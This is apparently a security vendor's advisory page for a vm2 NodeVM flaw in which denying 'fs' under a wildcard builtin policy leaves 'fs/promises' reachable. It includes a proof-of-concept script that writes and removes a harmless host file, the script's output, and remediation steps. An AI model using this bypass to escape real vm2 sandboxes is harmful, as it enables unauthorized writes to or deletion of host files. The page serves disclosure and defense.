CVE-2026-92958

CVE-2026-92958 is a high-severity improper privilege management vulnerability in vm2 (npm), affecting versions <= 3.11.6. It is fixed in 3.11.7.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes

NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.

With the following configuration:

require: {
  builtin: ['*', '-fs', '-child_process']
}

require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.

Affected Mode

NodeVM.

Affected Configuration

new NodeVM({
  require: {
    builtin: ['*', '-fs', '-child_process']
  }
});

This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.

Affected Files / Functions

  • lib/builtin.js
    • DANGEROUS_BUILTINS
    • BUILTIN_MODULES
    • makeBuiltinsFromLegacyOptions
    • addDefaultBuiltin
  • lib/resolver.js
    • Resolver.resolve
    • Resolver.loadBuiltinModule
  • lib/setup-node-sandbox.js
    • requireImpl

Root Cause

lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:

if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.

There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').

Security Boundary Crossed

Sandboxed code can perform host filesystem writes even though the embedder denied fs.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.

'use strict';

const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');

const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;

try {
  fs.unlinkSync(proofPath);
} catch (_) {}

(async () => {
  const vm = new NodeVM({
    require: {
      builtin: ['*', '-fs', '-child_process']
    }
  });

  const result = await vm.run(`
    module.exports = (async () => {
      const r = {};

      try {
        require('fs');
        r.fsLoaded = true;
      } catch (e) {
        r.fsBlocked = true;
        r.fsError = e && e.code;
      }

      try {
        require('child_process');
        r.childProcessLoaded = true;
      } catch (e) {
        r.childProcessBlocked = true;
        r.childProcessError = e && e.code;
      }

      const fsp = require('fs/promises');
      r.fsPromisesLoaded = true;
      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();

      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
      r.wrote = true;

      return r;
    })();
  `);

  const exists = fs.existsSync(proofPath);
  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;

  console.log(JSON.stringify({
    result,
    hostFileExists: exists,
    hostFileContent: content
  }, null, 2));

  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
})().catch(error => {
  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
  console.error(error);
  process.exitCode = 1;
});

Observed result:

{
  "result": {
    "fsBlocked": true,
    "fsError": "ENOTFOUND",
    "childProcessBlocked": true,
    "childProcessError": "ENOTFOUND",
    "fsPromisesLoaded": true,
    "wrote": true
  },
  "hostFileExists": true,
  "hostFileContent": "vm2-fs-promises-marker-<pid>"
}

Additional local checks:

  • require('node:fs/promises') also loads and can write the proof file.
  • Adding -fs/promises blocks require('fs/promises').
  • Adding only -node:fs/promises does not block require('fs/promises').

Expected Secure Behavior

If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:

  • fs
  • fs/promises
  • node:fs
  • node:fs/promises

Negative entries with and without node: should be normalized consistently.

Impact

Confirmed impact:

  • Host file creation
  • Host file write

The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.

Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

CVE-2026-92958 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.

Affected versions

vm2 (<= 3.11.6)

Security releases

vm2 → 3.11.7 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  1. Normalize builtin names before allow/deny checks:

    • Strip node: for comparison.
    • Use one canonical key form internally.
  2. Treat negative builtin entries as family denials where appropriate:

    • -fs should block fs/promises.
    • -inspector already conceptually blocks inspector/promises; apply the same family logic to user-provided negative entries.
  3. Add regression tests for:

    • builtin: ['*', '-fs'] blocks fs/promises.
    • builtin: ['*', '-fs'] blocks node:fs/promises.
    • -node:fs/promises and -fs/promises behave equivalently.
    • Explicit allowlist behavior is documented and covered.

Frequently Asked Questions

  1. What is CVE-2026-92958? CVE-2026-92958 is a high-severity improper privilege management vulnerability in vm2 (npm), affecting versions <= 3.11.6. It is fixed in 3.11.7. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
  2. How severe is CVE-2026-92958? CVE-2026-92958 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vm2 are affected by CVE-2026-92958? vm2 (npm) versions <= 3.11.6 is affected.
  4. Is there a fix for CVE-2026-92958? Yes. CVE-2026-92958 is fixed in 3.11.7. Upgrade to this version or later.
  5. Is CVE-2026-92958 exploitable, and should I be worried? Whether CVE-2026-92958 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-92958 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-92958? Upgrade vm2 to 3.11.7 or later.

Other vulnerabilities in vm2

Stop the waste.
Protect your environment with Kodem.